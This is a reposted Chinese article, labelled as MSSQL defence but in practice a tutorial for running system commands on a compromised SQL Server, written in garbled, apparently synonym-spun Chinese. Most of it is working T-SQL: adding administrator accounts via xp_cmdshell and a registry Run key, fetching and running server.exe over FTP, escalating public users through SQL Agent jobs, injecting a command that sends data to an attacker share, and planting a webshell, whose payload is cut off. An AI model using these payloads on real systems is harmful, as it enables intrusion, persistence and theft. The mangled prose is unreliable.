如安在MSSQL履行号令[MSSQL防范]
本文“如安在MSSQL履行号令[MSSQL防范]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
假定一台主机开了1433端口我们已通过SQL注入或是空弱密码远程衔接
能有哪些办法加一个系统管理员用户呢(或是履行系统号令)
1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'
大家都知道的办法,最大的好处是有回显,但是最怕
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
通过上面的T-SQL语句便可以把这个扩大储存删了
我们普通可以用
2k:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
SQL97:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'
就复原了.
但是有的人知道sp_addextendedproc也只不过是一个储存历程一样可以删除的
Drop PROCEDURE sp_addextendedproc
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
复原:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
/*
** Create the extended procedure mapping.
*/
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
呀呀写了这么多其实有个最简单的保护办法:
先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了
再把服务翻开便可以了
2)看了上面的你就懂得了xp_cmdshell终究是可以被删除的没别的办法了吗?
有写注册表三:
xp_regwrite 'HKEY_LOCAL_MacHINE','SOFTWARE\Microsoft\Windows\currentversion\run', 'czy82','REG_SZ', net user czy bb /add
其实注册表还有好几个地方可以写的比方说注册表中的WEB浏览设置
用写注册表的办法不好的地方是不但没有回显并且不能即刻运行实不实用我也不知道了
3)
declare @s int
exec sp_oacreate "wscript.shell",@s out
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open ASP.7i24.com>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt"
exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"
对了正如你看到的我们还可以利用sp_oacreate和sp_oamethod在它们的作用下我们可以
调用系统的控件比方说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样
即刻看到后果真的不能吗看下面的:
declare @s int,@o int ,@f int,@str nvarchar(4000)
/*exec sp_oacreate "wscript.shell",@s out
exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:\temp.txt"*/
exec sp_oacreate "scripting.filesystemobject", @o out
exec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1
exec sp_oamethod @f, "readall",@str out
print @str
先履行注解内的然后履行表面的其实原理很简单就是操纵>把后果写到一个文件中然后用
fso来读出来!很实用的
4)
use msdb; --这儿不如果master哟
exec sp_add_job @job_name='czy82';
exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:\>c:\b.txt';
exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';
exec sp_start_job @job_name='czy82';
操纵MSSQL的功课处理也是可以履行号令的并且假如上面的subsystem的参数是tsql背面的我们便可以
履行tsql语句了.
关于这几个储存历程的利用第一在@server_name我们要指定你的sql的服务器名
第二系统的sqlserveragent服务必须翻开(默许没翻开的气人了吧)
net start SQLSERVERAGENT
关于这个东东还有一个地方差别就是public也可以履行..同这儿也是有系统洞洞的看下面的
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user Access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = '你的SQL的服务器名'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
不要猜疑上面的代码我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
才让我们可以以public履行xp_cmdshell
5)关于Microsoft SQL Agent Jobs肆意文件可删除覆盖漏洞(public用户也可以)
在安焦有文章:http://www.xfocus.net/vuln/vul_view.PHP?vul_id=2968
USE msdb
EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLA
FC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'
EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'ArbitraryFileCreate'
假如subsystem选的是:tsql在生成的文件的头部有以下内容
??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
----------------------------------------------
hello, this file was created by the SQL Agent.
(1 ?????)
所以我倡议要生成文件最好subsystem选cmdexec,假如操纵得好我们可以写一个有增添管理员
号令的VBs文件到启动目录!
6)关于sp_makewebtask(可以写肆意内容肆意文件名的文件)
关于sp_MScopyscriptfile 看下面的例子
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ > "\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' + @command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''
这两个东东都还在测试试哟
让MSSQL的public用户得到一个本机的web shell:)
sp_makewebtask @outputfile='d:\sms\a.asp',@charset=gb2312,
--@query='select '''''
--@query='select '''' '
@query='select ''
以上是“如安在MSSQL履行号令[MSSQL防范]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |